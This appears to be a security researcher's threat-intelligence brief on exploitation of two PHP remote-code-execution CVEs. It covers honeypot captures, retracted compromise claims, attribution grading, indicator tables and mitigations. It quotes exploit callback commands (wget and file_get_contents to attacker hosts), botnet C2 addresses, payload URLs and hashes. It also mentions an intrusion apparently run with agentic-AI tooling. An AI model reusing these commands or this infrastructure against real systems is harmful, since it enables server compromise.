The distinction is not pedantry, because the reports differ in kind. Sophos and Unit 42 both spoke about victims and both withdrew. This is a controlled experiment in which the attacker won, and the evidence is of a higher grade than either: raw packets plus kernel process events, published with hashes so it can be re-examined.

But look at the target: single-worker Apache mod_php, PHP 8.4.26, 128 MiB memory_limit, plaintext HTTP/80. That is close to the exact precondition list independent analysts gave for a reliable exploit. Iron Castle’s analysis named a low memory_limit, single-worker prefork, and known zval_ptr_dtor/zif_system offsets; the honeypot had all three. A Fediverse commenter made the same point within hours of publication — the write-up “ran in a single-worker setup, which would be very unusual for a real deployment” — and was right.

This resolves the four-day puzzle

“Exploited at scale, nobody succeeding” never made sense as a description of a working exploit. The reconciliation is configuration, not luck: the exploit succeeds where the target has one worker and a tight memory limit, and fails nearly everywhere else because the OOM stage must actually fire and the stale state must survive on the same worker for the next request. Default php-fpm pools with several children and 128–512 MiB spread requests across workers and raise the ceiling. Hunt.io’s sample makes the same point from the other side: 123 targets probed, ~57 running PHP, none exploited. Sansec’s walk-back says it outright — public exploits fail against default installations.

Operationally this inverts the usual prioritisation. Patch everything, but when you triage for likelihood of actual compromise, look first for the pathological cases: single-worker or pm.max_requests=1 pools, low memory_limit, and the session.upload_progress defaults left on. Those are the hosts that match the successful capture.

Unit 42 retracted the second compromise claim — and the press ran it first

Correction — the European government intrusion is real; the PHP2Shell link is not established

Unit 42’s 23 October update described an intrusion at a European government agency: password hashes and MFA secrets read from an application database within roughly two hours, an NTLM-relay tunnel into Active Directory, and an attempted Domain Admin escalation. It read the command traffic as agentic-AI tooling, on the basis of machine-parseable batches wrapped in delimiters such as ==SHELLUSER== and ==PASSWD==.

On 25 October it withdrew the causal claim: “We are unable to confirm that initial access is associated with the specific PHP2Shell CVEs”, and “We have retracted our previous update from October 23.” The intrusion is not retracted — the attribution of its entry point is.

The sequencing matters for anyone reading news rather than advisories. The Hacker News article built on the retracted update (“PHP2Shell Exploitation Hits Government Entity…”) was published at 18:42 UTC on 25 October; Unit 42’s retraction is timestamped 14:15 PT, about 21:15 UTC. Several aggregators and social posts were still carrying the un-retracted version the following morning. Cite the advisory, not the article about it.

That is now two claims raised and two withdrawn in this case — a pattern worth naming, because it is not random. Both came from telemetry that showed post-exploitation-looking activity near a vulnerable application, and in both cases the missing link was the same: nobody could show which request did it. The honeypot work above is the only publication in this case that closes that gap, and it does so by instrumenting the target rather than the victim.

Correction: PAN-OS is affected

This brief called it unverified on 23 October. It is true.

Palo Alto Networks advisory 047910, published 21 October and updated 25 October, confirms that PAN-OS and Panorama are affected — PA-Series and VM-Series firewalls and Panorama (virtual and M-Series) — strictly through the management web interface, meaning the HTTPS UI and the XML API. A dataplane interface is in scope only where a management profile is attached to it. No special configuration is required beyond reachability.

The circulating claim this brief declined to carry on 23 October was therefore right about the impact and roughly right about the dates. It was still correct to withhold it at the time: the 23 October version named no vendor advisory and added a 26–30 October hotfix window that then shifted per branch. The lesson is not “believe rumours” but the narrower one this project already carries — a claim is unverified until a primary source exists, and then it is verified, not vindicated.

Hotfixes 10.2.18-h13, 11.1.16-h4 and 11.2.10-h16 shipped on 25 October; the remaining branches are estimated 27–30 October and Panorama has no published ETA. Palo Alto states it is not aware of exploitation against its products, and lists exploit maturity as N/A.

Read the score, not the number. Palo Alto rates this 8.7 High with vector VC:N/VI:N/VA:H — availability only — against PHP’s 9.2 with confidentiality and integrity high. Same bug, different product consequence: on PAN-OS the management plane can be crashed and coerced, which is severe, but the vendor is not claiming code execution in its own context. Plan the patch from that, and do not assume a PAN-OS 8.7 and a PHP 9.2 are the same emergency.

A third bug, and it will not be patched in a hurry — CVE-2026-115560

PHP published an informational advisory on 23 October for a third remote-code-execution path in the same feature area. The conditions are narrow and cumulative: an application must set session.serialize_handler to php_binary or php_serialize in configuration, then switch it to php at runtime with ini_set() before session_start(), with session.upload_progress still enabled. The underlying hazard is old — PHP bug #71101 (2015), which warns that the serialize handler must not be switched for existing sessions.

PHP Foundation executive director Elizabeth Barron: the flaw “requires a very unlikely combination of configuration and specific PHP application code” and “we do not expect to occur in practical use of PHP”. It is being held for the regular release cycle rather than an emergency fix, and will get a full advisory with the next bugfix release. Verified 26 October: no NVD record exists, and no PHP release has shipped since 21 October — 8.5.12, 8.4.27, 8.3.36 and 8.2.35 remain the newest on every branch. No exploitation reported.

The practical consequence is one line: do not remove session.upload_progress.enabled=0 after patching. It is the entire published mitigation for 115560, and Rapid7’s ordering rule still applies — it must be set before request parsing, in php.ini, the FPM pool or the server config, and every worker restarted. ini_set() and .user.ini remain too late.

↑ Back to contents

Exploitation status

Exploited at scale — and now exploited successfully, on a host built for it

Attempts are universal; success is not. The rows marked updated 26 Oct are the ones that changed when the honeypot capture landed.

On 21 October the question was whether anyone was using this. On 22 October it was what they were achieving. On 24 October the first capture of a shell answered that, and on 25 October the second of the case’s two victim-compromise claims was withdrawn. Rows updated 26 October are marked.

QuestionStatusBasis
Is it being exploited?Yes — at scaleHadrian: “We are now seeing php2shell exploited in the wild at scale.” Six independent sensor operators reported attempts within hours of the patch.
Who observed itSix independentCloudflare (pre-patch, CTO Dane Knecht), Hadrian, Patchstack, Vega, watchTowr (own sensors), Sansec. Vega ties its attempts to a publicly available PoC.
Which path is being used109619 / sessionHadrian: “Most of the attacks we observe abuse PHP’s session upload-progress path.” The session route is the cheapest to reach, not the only one.
Has anyone succeeded? updated 26 OctYes — exploitation No — victimA honeypot operator captured 35 shells parented by apache2 with packet and process-tree evidence on 24 October. Against a disposable honeypot configured single-worker, 128 MiB, PHP 8.4.26 — not a victim compromise. The two victim claims (Sophos 22 Oct, Unit 42 25 Oct) were both withdrawn.
CISA KEV updated 28 OctListed — bothCatalog 2026.10.27, 1,760 entries; both CVEs added 26 October, remediation due 29 October, forensicTriage: Yes. Fetched directly 28 October.
Public IOCs updated 26 OctYes — manyThreat feeds still return zero, but telescope and honeypot operators now publish source addresses, dropper URLs and four malware hashes — see the indicators section and the 26 October update. The feeds’ silence was always a coverage statement.
Threat-actor attribution updated 26 OctNone for the attacksTwo source-address clusters sharing a tooling template; shared tooling does not establish shared control. Separately, CYFIRMA reports a Korean-speaking actor staging against unpatched PHP with only MODERATE confidence in a Lazarus link — preparation, not these attacks. Nexus graded Low–Medium; see the DPRK question in the 26 October update.
Regulatory postureWideningCERT-EU 2026-018, Australian ACSC, NCSC-NL, and an NSA advisory on 21 October. The NSA text returned HTTP 403 from this network and is recorded as unexecuted, not as verified.
Defensive actionsReportedThe Record: “hundreds of websites” offline pre-patch, several governments removing sites, Nintendo the only organisation named.
Reading “at scale” without overclaiming — revised 26 October

Six sensors seeing attempts is strong evidence that scanning and PoC replay are widespread. As of 23 October it was not evidence of a working exploit in general circulation. As of 24 October it partly is: the honeypot capture proves public-class tooling reaches a shell, but only on targets matching the exploit’s preconditions — one worker, low memory_limit, session.upload_progress on. The picture is therefore automated probing with working tooling against a population in which most production deployments do not match the profile. Success rate against real estates remains unknown, and Hunt.io’s 123-target sample with zero successes is the best available lower bound on how hard this is.

The earlier unsourced claim from The News — that Cloudflare had confirmed active exploitation — has been overtaken by events and was, in substance, closer to right than the four negative trackers suggested. It was still wrong to carry on that evidence at the time. Volume of reporting is not the same as quality of evidence, but here the reporting arrived before the evidence.

↑ Back to contents

Attribution · 26 October

One hedged nexus claim — and a “staging” set that is not staging

The DPRK question

Correction — this brief said “no primary source supports it”. That was wrong.

CYFIRMA published a vendor advisory on 23 October: “Suspected DPRK Campaign staging PHP2Shell Targeting against Global PHP Infrastructure”, naming the activity the “June 2026 Minjun” campaign. The circulating social post was therefore a degraded relay of a real advisory, not a fabrication — and the earlier revision of this section, which dismissed it outright, was itself an absence-of-evidence error of exactly the kind this brief warns about: I searched for a primary source, did not surface this one, and wrote the negative as if the search had been exhaustive.

What CYFIRMA reported: a Korean-language operator channel on closed I2P, monitored on 22 October between 11:00 and 11:31 JST, discussing reconnaissance against PHP2Shell-vulnerable hosts, passive version collection, target sorting by country and sector, infrastructure staging and testing of public PoC code. Fifteen staging IPs were shared in-channel. A first filtered target list was due 25 October; no launch date was set and no victim was named.

Its own confidence split is the important part: CYFIRMA rates the activity HIGH and the Lazarus-ecosystem link MODERATE, and is explicit that there is an “absence of definitive malware or infrastructure overlap”. The basis is language (North Korean Munhwaŏ vocabulary), targeting pattern and historical Lazarus web-shell tradecraft. That is a behavioural, not a technical, linkage. Korea’s MSIT and KISA issued a “caution” alert on 22 October — generic vulnerability guidance that did not confirm the campaign or the attribution — and Korean press coverage (JoongAng Ilbo, SBS) quotes experts saying language and sector choice alone do not establish DPRK involvement.

The advisory is three sets, not one list — and every mirror flattens it

The full v3 advisory separates its indicators by role and gives each a different handling instruction. The synopsis mirrors reviewed on 25 October merge them into a single 43-address block, which destroys the only thing that makes the list usable. Read from the advisory itself:

SetDatenRole in the adversary’s own wordsCYFIRMA handling
A — staging22 Oct15 (+1 typo variant)“Staging / target-list hosting / launch”, captured from the I2P channel“Monitor and hunt rather than blind-block”
B — tooling23 Oct17“PHP web shell tooling / upload-progress session poisoning”, 8-hour windowBlock/monitor — but “not, on their own, linked to the DPRK-nexus channel”
U3 — scan nodes24 Oct21Nodes the operators say run weakness checks; v3 states these are “the same addresses the operators named”Block at perimeter, hunt in logs — “some may belong to victim organisations”

Only set A carries the nexus. Set B is explicitly excluded by the vendor, and set U3 carries the vendor’s own warning that some of it may be victims — a compromised host that scanned back is not attacker infrastructure, and blocking it blocks a victim. The genuinely reused material is narrower than the flattened list suggests: the “other IOCs” section recycles 92.118.112.100/nfs and SHA-256 0c5486f0…d1486 from Sophos’s Potassium (22 Oct) and 103.216.220.92 from AWS MadPot (21 Oct), alongside a user-agent list this brief already published. Those are commodity indicators and they predate the advisory.

Our own measurement: the three sets have different shapes, and they measure differently

We enriched all 54 new addresses passively on 26 October and compared the two sets that can be compared. The result supports the vendor’s separation independently of the vendor’s wording — and it reproduces this case’s recurring finding that reputation runs inverse to significance.

 Set A — staging (16)Set B — tooling (17)
Distinct ASNs11 of 1612 of 17
Shared prefixes3 — 146.70.114.0/24, 147.78.168.0/22, 149.102.232.0/24none — every host a singleton
Provider classAll hosting/privacy — M247, Datacamp/CDN77 (×4), EstNOC, Powerhouse, plus small HR/SK/HK hosts. Two anomalies: a Slovak academic network (SANET) and a Swedish mobile carrier (Hi3G)Cloud VPS (DigitalOcean ×4, Hetzner ×3, Contabo) plus five consumer telcos — BSNL, GTPL, Hathway, True Online, MEO
AbuseIPDB median10%  ·  6 of 16 with zero reports63%  ·  0 of 17 with zero reports
AbuseIPDB reports, 30dmedian 2, total 277median 18, total 880
VT malicious enginesmedian 2, range 1–5median 4, range 1–9
GTI threat scoremedian 1, max 25median 21, max 60

Two things fall out. The staging set is curated infrastructure — paired endpoints inside the same /24 or /22, entirely on privacy-tolerant hosting, and structurally unlike an ambient scanner population. The tooling set is a commodity crowd, a third of it on home broadband across five countries, with no prefix sharing at all. And the set that matters is the quiet one: every instrument scores set A lower than set B. An analyst who ranked these by abuse score would have promoted the scanners and filed the staging infrastructure as clean.

But “staging” does not survive the banners. Reverse DNS and exposed services on set A do not describe a target-list host at all. One member is a student VM at the Slovak University of Technology (vm103.studenti.fiit.stuba.sk). One is a Home Assistant smart-home hub on a village DSL line (hrubonovo.ostv.sk). One is a MikroTik router on another village line, exposing Winbox :8291, the MikroTik API on :8728 and SNMP (velke-ripnany.ostv.sk). One is a Danish mobile-broadband subscriber. One is a DataPacket VPN exit; two more are M247 IPsec concentrators, where Shodan reads the IKE handshake on :500 directly. Seven of sixteen resolve to a PTR and not one of them is a hosting hostname.

That reads as an access and egress layer, not a staging layer — what an operator routes through, or what is traded in a channel as a usable proxy. The inference is ours, not the vendor’s, and it rests on service signature and naming rather than proof; the operators could control some of these hosts outright.

The operational consequence is not in doubt. If these are exits, blocking them does not degrade the actor — it blocks a university student, two Slovak households, a mobile subscriber and a fire-service dispatcher, and the operator moves to the next exit. Take “monitor and hunt rather than blind-block” literally. The MikroTik entry deserves its own note: this project already carries the rule that a MikroTik fingerprint is a flag, not a selector, so being behind one says nothing about who is using it. Full per-address record in iocs/cyfirma-2026-10-26/PER-IP.md.

How this brief grades it now
  • Attack preparation by a Korean-speaking actor: MEDIUM. Single vendor, one closed I2P channel, a 31-minute collection window, no corroborating sensor. Credible, and now structurally consistent with the infrastructure, but not independently verified.
  • Link to the Lazarus ecosystem: LOW–MEDIUM. The vendor itself says MODERATE on behavioural grounds only, with no malware-family or infrastructure overlap. Set A’s concentration on privacy hosting is consistent with a resourced actor but equally consistent with any criminal operator; it is not discriminative.
  • The 15 staging addresses: MONITOR, not block. This is the vendor’s own instruction and it is the right one — several sit on shared VPN egress where a block creates collateral for unrelated tenants. Hunt for contact, do not pre-emptively deny.
  • The 17 tooling addresses: grade as commodity. They are heavily-reported scanners (median 63%, 880 reports between them) and the vendor does not link them to the channel. Block on local evidence, not on this list.
  • The 21 U3 nodes: block at the perimeter only if your logs show contact, and treat ownership as unknown. The vendor warns some may be victims, and that is now worse than a warning. One of the 21 is a commercial internet scanner — 134.122.38.73 is a BinaryEdge node (PTR tor1-0.xenon.do.prod.binaryedge.ninja; :4646 presents a *.prod.cs42.net Nomad certificate, and cs42.net shares Cloudflare nameservers with binaryedge.ninja). A second is an exposed Ubiquiti device, its MAC address embedded in the certificate subject (UBNT-44:D9:E7:7E:14:AC). Blocking either degrades a third party and tells you nothing. The vendor’s own instruction — hunt prior contact rather than assume ownership — is the only safe reading of this set.
  • Corrected — “216” is real and is a v3 figure. The operators completed a filtered target set a day early of 216 hosts that “still appear unpatched or only partially mitigated”, having dropped hosts “bannering the fixed versions”. The operationally meaningful companion number is that “roughly one third of the target set had already been touched” — on the order of 70 hosts probed, not 216. This brief recorded it as unverified on the strength of two synopsis mirrors; that was wrong, and the primary advisory carries it.
  • Not carried: the social post’s formulation “Lazarus Group Targets PHP2Shell”, which states the attribution far more strongly than the advisory does.

The standing position on the exploitation of these CVEs is unchanged: opportunistic, multi-actor, mostly commodity. A state-nexus actor staging an operation against unpatched PHP does not make the scans in your logs that actor, and it does not change the patch advice — it changes who you tell, and how urgently you look for webshells on hosts that were exposed and unpatched. What it does change is the priority of the search: a filtered list of 216 by country and sector, a third already touched, is a target-selection exercise, and the useful defensive response is to determine whether you are on it.

The separation has already been lost one layer down — check your OTX feed

Pivoting the 54 addresses against OTX on 26 October returned 212 pulses mentioning at least one of them. Most are honeypot, brute-force and Webscanner feeds — the commodity crowd, which is expected. The finding is that all 54 appear inside a pulse titled “CYFIRMA Threat Advisory: Suspected DPRK Campaign staging PHP2Shell…”, published 25–26 October.

So the three-set distinction this section spends its length defending does not survive republication. Any tool consuming that pulse receives 54 indicators under one nation-state label — the 17 the vendor explicitly does not link, and the 21 that may include victims, are indistinguishable from the 15 staging addresses. If you ingest OTX wholesale, this is the list that will put a university VM and a household NAS on a “DPRK” blocklist. Filter by set membership from the advisory itself before use.

Two negatives, both tested rather than assumed. ThreatFox and URLhaus return no_result for all 54 — the query executed and found nothing. And SSH host keys, TLS certificate fingerprints and JARM were compared pairwise across all 54: no two hosts share any of them, the only common value being the all-zero no-TLS JARM. That is a real result, not a gap — these addresses are not one fleet, and no technical pivot from this list reaches an actor. The nexus rests entirely on the vendor’s HUMINT, which is why it is graded as it is.

Everyone else: the full claim ledger, and what is not claimed

A systematic sweep of vendor, CERT, government and national-press reporting through 26 October found exactly one organisation willing to name a state nexus. Everything else that names anything names a botnet family, a motivation, or an unnamed actor. That absence is itself a finding, and it is a tested one — the negative is not for want of looking.

ClaimantWhat they claimStageConfidence / basis
CYFIRMA
23–24 Oct
Korean-speaking operator, Lazarus ecosystem (APT38 / Hidden Cobra / ZINC / Diamond Sleet), campaign “June 2026 Minjun”Staging → probing. No exploitation, no victims, no launch dateHIGH on the staging activity; MODERATE on the Lazarus link. Language (Munhwaŏ), targeting pattern, historic web-shell tradecraft. No malware or infrastructure overlap.
Sophos
21–22 Oct
Potassium, Mirai-derived DDoS botnet. Generic “threat actors”Attempted; blocked before delivery. Compromise claim retractedMalware family, no group name, no state nexus. Goal was DDoS against two hosts in a Ukrainian network
Arctic Wolf
~23 Oct
Potassium binaries; shared ChaCha20 key/nonce implies a common builderInfrastructure association onlyExplicit: its data “does not show the PHP2Shell requests fetching or running the malware”
Hunt.io
~23 Oct
“An established Mirai-style botnet, active since at least May 2026”. No group nameAttempts; 123 targets, ~57 running PHP, none exploitedNo nexus asserted
Nokia DeepfieldPotassium technical profile: one codebase, three campaign roots, bot seed 14861879, 94% Ghidra overlap. First identified 17 Mar 2026Malware lineageVictimology is gaming infrastructure (FiveM, Arma 3, Minecraft). No state nexus anywhere
SOCRadar
22 Oct
One operator's tooling on a browsable server (206.188.197.105:9999), “one-click” chain for PHP 8.4.26Staging and reconnaissance. ~20 sites fingerprinted, 11 probed, none qualifiedUnattributed. “Motivation appears financial”; a “crypto/Web3 focus” is inferred from the tooling, not victimology
AWS MadPot
21 Oct
Pre-disclosure attempt 17 Oct from 103.216.220.92AttemptUnattributed. “It remains unclear how the actor acquired exploit information prior to disclosure”. Post-release: “multiple actors”
Unit 42
23–25 Oct
European-government intrusion; password hashes and MFA secrets, NTLM relay to AD; agentic-AI delimitersPost-compromise activity real; causal link withdrawnNo actor ever named, even before the retraction
0x4D31 / phpot
24 Oct
35 confirmed exploit chains, two source IPsSuccessful exploitation, on honeypotsExplicitly declines attribution: “reuse of a public PoC does not establish common control”
What is not claimed — and two statements that will be misread as attribution

No Chinese-nexus, Iranian-nexus, ransomware-affiliate (Akira, Cl0p, LockBit), initial-access-broker or named botnet-operator claim exists in any source reviewed. KELA checked the underground and found no vetted IAB listing of php2shell-derived access, with sale threads judged opportunistic; ransomware adoption is flagged as a watch item, not observed. watchTowr’s FAQ states flatly: “No attribution has been made public.” Trellix: “no ransomware group or named threat actor has been linked”. QiAnXin’s Chinese-language piece is a technical exposure note that names nobody.

The two traps. Chainguard’s Dan Lorenc said Chainguard saw attempts “primarily from Russian and Chinese IP addresses”. That is source-IP geolocation, not attribution — and the hosts in this brief’s own indicator set are spread across seventeen countries for ordinary hosting reasons. Similarly, VulnCheck reported that “at least one Chinese IP address” unsuccessfully tried to deploy a webshell. One failed attempt from one address, which in this case’s own grading is a scanner. Neither statement supports a nation-state claim, and both have already been paraphrased that way in secondary coverage.

The disclosure process, for completeness. No threat actor is credited with the 20 October leak. The named parties are all participants:

  • an anonymous Hacker News poster who circulated the CVE IDs with a wrong CVSS — 10.0 rather than 9.2;
  • Calif, which “mistakenly published” a PoC video against live targets around 20:00 UTC on 20 October and then deleted it;
  • Chainguard, which shipped patched images at 07:41 UTC on 21 October, more than six hours early, after vendors in the coordination channel reported overnight exploitation while PHP maintainers in Europe were asleep.

Lorenc denied “leaking” and said Chainguard had independently rediscovered the bug on the night of 16 October with an in-house AI harness. None of this explains the 17 October AWS honeypot hit, which precedes even the CVE-ID leak by three days — that gap remains unexplained in public reporting.

The circularity in the “HIGH confidence” figure — read both halves or neither

CYFIRMA’s HIGH-confidence sentence reads that “a North Korean state-nexus threat actor … is actively staging a global offensive campaign”. The Lazarus affiliation, in the advisory’s own assessed block, is “Moderate confidence, resting on language, operational pattern and historical tradecraft”. The DPRK-ness is the moderate-confidence part, yet it is restated as a premise inside the high-confidence sentence. Every secondary outlet that quotes “HIGH confidence” without “MODERATE — Lazarus affiliation” is misrepresenting the advisory, and several did. CYFIRMA also explicitly left open “the possibility of an ordinary Korean-speaking criminal organisation”.

And the collection itself has a documented challenge. Korean-language reporting — Boannews, Yonhap, DailySecu — carries an anonymous expert critique with three specific points:

  • the Korean in the leaked chat looks like “many awkward sentences and typos that look like English put through a translator”, not native or North Korean operative speech;
  • the operators allegedly used “pseudonyms in the style of ordinary Korean real names”, which is odd for DPRK operators;
  • it is unexplained how an outside commercial firm obtained one-to-one private direct messages inside a closed I2P network in real time.

CYFIRMA has not published a collection method. We are not in a position to adjudicate that dispute — but a deliverable that upgrades the nexus without carrying it would be overstating the record.

The headline/body mismatch is where the social claim came from. One aggregator ran “Lazarus Group Targets PHP2Shell Flaw in Global Campaign” over a body that correctly says “suspected” and “moderate confidence”. That is the post this brief first encountered, and it is a headline asserting as fact what its own text hedges — the third instance in this case of a retraction or hedge failing to propagate.

Lead followed, 26 October — pdfkill.ai on the Episode A host

15.204.59.70 — the host that achieved three confirmed shells on 24 October — carries pdfkill.ai and eight subdomains: app, panel, pay, shop, fake, ip, test, www. All nine A-record to that address. The domain was registered 27 July 2026 (Donuts, DNS at Wix) and its Let’s Encrypt certificates have auto-renewed through 8 December; the SANs include panel, pay and fake.

What upgrades this from coincidence to a lead: the exploit itself called back to the source host — wget -q http://15.204.59.70:8081/ok33 in Episode A, and file_get_contents("http://162.35.99.94:8080/pwn-…") in Episode B. Both exploiting hosts were also the operators’ callback endpoints, which is not something a spoofed source address delivers. Those addresses are operator-controlled, and a commercial-looking domain sits on one of them.

Still not an attribution. OVH reassigns IP addresses: a VPS rented in October can carry an address a different tenant used in July. Separating “the operator runs the domain” from “the operator rented its old address” needs billing or historical-IP data that is not public. urlscan.io holds zero scans of it, and this brief did not fetch the site. Lead, not finding.

The sharpest result: the proven exploiters and the “staging” set are disjoint

15.204.59.70 and 162.35.99.94 — the only two addresses with packet-to-process RCE evidence — appear nowhere in CYFIRMA’s 54 indicators. In the other direction, not one of the 15 staging addresses has any exploitation evidence attached to it, from any sensor reviewed here.

Either the vendor’s HUMINT describes a different actor from the one the honeypots caught, or it describes the same actor’s planning and access layer while hands-on exploitation ran from separate, unlisted hosts. The second is more likely and is far more useful: it predicts that the staging set will never show up in exploitation telemetry, so treating its absence there as a contradiction would be a category error. It also means a blocklist built from either set protects you against neither cleanly — patch, hunt process parentage, and search for webshells.

↑ Back to contents

Earlier update · 23 October

A compromise claim withdrawn, and a botnet payload identified

Two things moved. A sensor operator retracted the only first-party compromise claim in this case, and the same disclosure named what the exploitation attempts are actually delivering. Neither changes the patching advice; both change the threat picture.

Correction — Sophos withdrew its compromise claim five hours after making it

22 Oct 16:18 UTC. Sophos reported “observed successful exploitation of PHP2Shell in customer environments”, describing multiple attempts and “one successful exploitation”, with a payload written to /tmp/nfs and executed as ./nfs php.

22 Oct 21:21 UTC. Retracted: “we are correcting that assessment.” The corrected position is that telemetry shows “scanning and a small number of failed exploitation attempts”, the payload “was not delivered” because Sophos countermeasures stopped the attempt, and “there is no evidence of a successful compromise due to these vulnerabilities.”

This matters more than a normal correction. It was the only compromise claim with a first party behind it in the entire case, and it survived five hours. The “no confirmed compromise” line elsewhere in this brief is now a positive finding — a claim raised and withdrawn — rather than only an absence of reporting.

What was being delivered — Potassium

The payload is Potassium, a Mirai-derived botnet described as an updated and significantly expanded version of a variant seen in early 2026, with downloader and network-disruption functionality. It resolves a hard-coded encrypted C2, opens a TCP connection, checks for an HTTP 200, verifies the response begins with the ELF magic bytes 7F 45 4C 46, and then retrieves a Linux follow-on binary. Its resolver falls back to 8.8.8.8, 1.1.1.1 and 1.0.0.1.

That reframes the motive. The exploitation observed in this case is botnet recruitment, not espionage or extortion: a compromised PHP host becomes a DDoS node. It is also the first concrete answer to “what would an attacker do with this?” — and it is opportunistic commodity crime, which matches the absence of any actor attribution.

IndicatorTypeRoleCorroboration
134.199.154.64IPPotassium C2 — the address the payload connects to1 VT engine; 1 AbuseIPDB report / 30d
117.55.202.115IPSecond Potassium C2VT 2 engines; GTI 25 SUSPICIOUS
92.118.112.100IPPayload host — hxxp://92.118.112.100/nfsVT 5 engines; GTI 29
hackattackkaboom.botlesscucks.stDomainMalware staging serverVT 14/48
hik.gettingheadfromduckysmom.stDomainPotassium infrastructure embedded in the payloadVT 9/42
thunder.godofthunder.stDomainContacted during sandbox analysisVT 4/40, categorised command and control
SHA-256 0c5486f0…d1486HashPotassium payload served as /nfsSophos, 22 Oct

The multipart boundary B7kQpoc618 and the UA php2shell-scan/109618 are the request-side artefacts. That UA is already in the network-indicator table below — the source address Sophos names, 45.198.224.169, is the same host this brief graded BLOCK from VulnCheck telemetry. Two independent sensor operators now describe the same host doing the same thing.

Near-duplicate trap — two addresses that look like one

Sophos’s C2 134.199.154.64 and this brief’s 134.209.159.64 differ in three digits, share DigitalOcean, and are geolocated to different cities (Sydney and Bengaluru). One is a botnet C2; the other is a post-embargo attempt through open proxy infrastructure. They are not the same host and must not be merged. A one-digit error here turns a C2 block into a false one, or the reverse.

A working exploit exists privately

VulnCheck reports holding a private, weaponised exploit for CVE-2026-109618: x86-64, ASLR enabled, display_errors=Off, against PHP 8.4.26. We have not verified that ourselves, and it does not contradict the public picture — it sharpens it. “None of the public PoCs bypasses ASLR” is a statement about public code, and it should not be read as “this is not exploitable.”

Sophos, for its part, is candid that building one is hard: its own Adversary Group has attempted it, “which is proving challenging even with AI support”, and it observes that “the lack of successful exploits in the wild suggests threat actors are also struggling.” It also cautions that researcher claims may be lab-only. Urgent patching remains the recommendation.

Refinements later on 23 October

The private exploit got broader, and the public ones stayed narrow. VulnCheck reports its weaponised CVE-2026-109618 exploit now covers PHP 8.4.10–8.4.26 "with no modifications", up from 8.4.26 alone by 19:00 ET on 22 October, and it works on x86-64 with ASLR enabled and display_errors=off. On ARM64 the memory leak works but RCE is not functional and ASLR is described as brute-forceable. By contrast, of the hundreds of public repositories, "only a very small number have been legitimate exploits"; exactly one bypassed ASLR — on 8.4.26 with default heap configuration only, and it did not work outside that setup. That independently matches the grading on this page: three of twenty-three artefacts engaged the real mechanism.

The mitigation ordering matters more than the settings. Rapid7 is explicit that session.upload_progress.enabled=0 must be applied before request parsing — through php.ini, FPM or server configuration, because ini_set() and .user.ini are too late — and that every worker must then be restarted, since stale state lives in the worker, not the config. The same applies to fatal_error_backtraces=0 on 8.5 and to an administrative memory_limit=-1. Do not lean on cgroup or container memory limits, or on RLIMIT_AS/RLIMIT_DATA: those are the counter-indicated paths this brief already records.

Inventory: Rapid7 published a Velociraptor artifact, Generic.Applications.PHPInventory, which enumerates PHP installations and running processes across Windows, Linux and macOS — the cheapest way to find embedded runtimes that a host package manager does not manage.

An unverified claim doing the rounds — appliance exposure

A secondary summary circulating today states that Palo Alto PAN-OS and Panorama are affected through the management interface, with hotfixes due 26–30 October. Rapid7's own advisory does not mention PAN-OS, Panorama or any appliance platform, and no primary source has been located for it. It is recorded here as unverified, and it should not enter a patching plan until an appliance vendor publishes it. If it proves true it matters a great deal, because appliance management planes are exactly the embedded runtimes that routine PHP patching does not reach.

Independent status from Rapid7: it has not observed exploitation in the wild, though it has multiple reports of attempts, and it expects "a viable exploit is expected to be made public soon." That is a third sensor operator reading attempts-but-no-success, alongside watchTowr and AWS.

Status as of 23 October, superseded: KEV then read 2026.10.21 / 1,754 entries with neither CVE present. Both CVEs were added on 26 October — see the 28 October update. Still current: php.net lists 8.5.12, 8.4.27, 8.3.36 and 8.2.35 as the latest on every branch, no further release since 21 October. The VulnCheck artifact hashes (four, including the 13-byte bodyless POST) are in the export as retro-match material, not as AV blocks.

Status, checked 23 October

QuestionAnswerBasis
In CISA KEV?NoLive catalog 2026.10.21, 1,754 entries, both CVEs absent — re-checked 23 Oct
New PHP release since the fix?NoThe 8 line still shows 21 Oct 2026 as latest; 8.5.12 remains the current fixed build
AWS positionBroad attempts“PHP2Shell is now seeing broad exploitation attempts in the wild”; still no success claim, and AWS advises investigate its published addresses, not block them
Confirmed compromiseNoneNow a positive finding: the one claim made was retracted within five hours

One tension worth recording: AWS explicitly recommends investigating its six addresses rather than blocking them, while this brief grades four of the eleven as BLOCK. The disagreement is about collateral, not about whether the hosts behaved maliciously. We block individual addresses, never the netblock, and run provider engagement in parallel.

↑ Back to contents

Vendor advisory

What PHP actually fixed, and what that retires

The advisory retired five competing theories in a paragraph. What it fixed, what it left open, and what that means for anything published on 21 October.

The release landed at 13:44 UTC, roughly sixteen minutes ahead of the announced 14:00. The advanced notice promised "full details, affected versions, and the fixed versions"; it delivered, and the details are not what most of the circulating analysis predicted.

CVETitle, as publishedRoot cause in one lineCVSS v4.0Confirmed traversal paths
2026-109618
GHSA-w8hw-w9fx-j79w
RCE via OOM corruption PHP uses longjmp() to abort on out-of-memory. The early exit can interrupt request startup while internal request data is only partly initialised, and request shutdown then treats that invalid data as valid. 9.2 mod_php confirmed, and PHP-FPM confirmed per the PHP team’s oss-security post: “Unauthenticated RCE has been demonstrated against Apache mod_php and PHP-FPM.” FrankenPHP “likely”; LSAPI modelled on FPM.
2026-109619
GHSA-6wmf-4rv5-p3rp
RCE via stale global state Request-owned internal state survives after its backing memory is freed; a later request handled by the same worker uses that stale pointer before normal initialisation replaces it. 9.2 Session upload progress (confirmed consumer); PHP 8.5 fatal-error backtraces with fatal_error_backtraces on; early INI diagnostics before request init.

Both advisories carry the same five weaknesses — CWE-416 (use after free), CWE-755, CWE-824 (access of uninitialised pointer), CWE-1325 and CWE-1419 — and the same vector: CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N. Read AC:H and AT:P honestly: high attack complexity, and specific attack requirements present. The 9.2 describes impact once it works, not a single-packet exploit. Both advisories also state that a strategically crafted heap layout is what turns the primitive into code execution.

The OOM triggers the advisory actually names

That list matters operationally: it is not a signature you can match on a User-Agent or a field name. It is three shapes of request that any large legitimate upload also produces. The discriminator is the outcome — a memory-exhaustion fatal during startup — not the request.

What this does to the five models this brief tracked

ModelWhat it claimedVerdict against the advisory
A — cached zval* session UAFStale bucket pointers in php_session_rfc1867_callback → fake zend_fcall_info → system()Retired Not the mechanism, in either CVE. Its own author's ASAN run never fired, and two independent labs agreed.
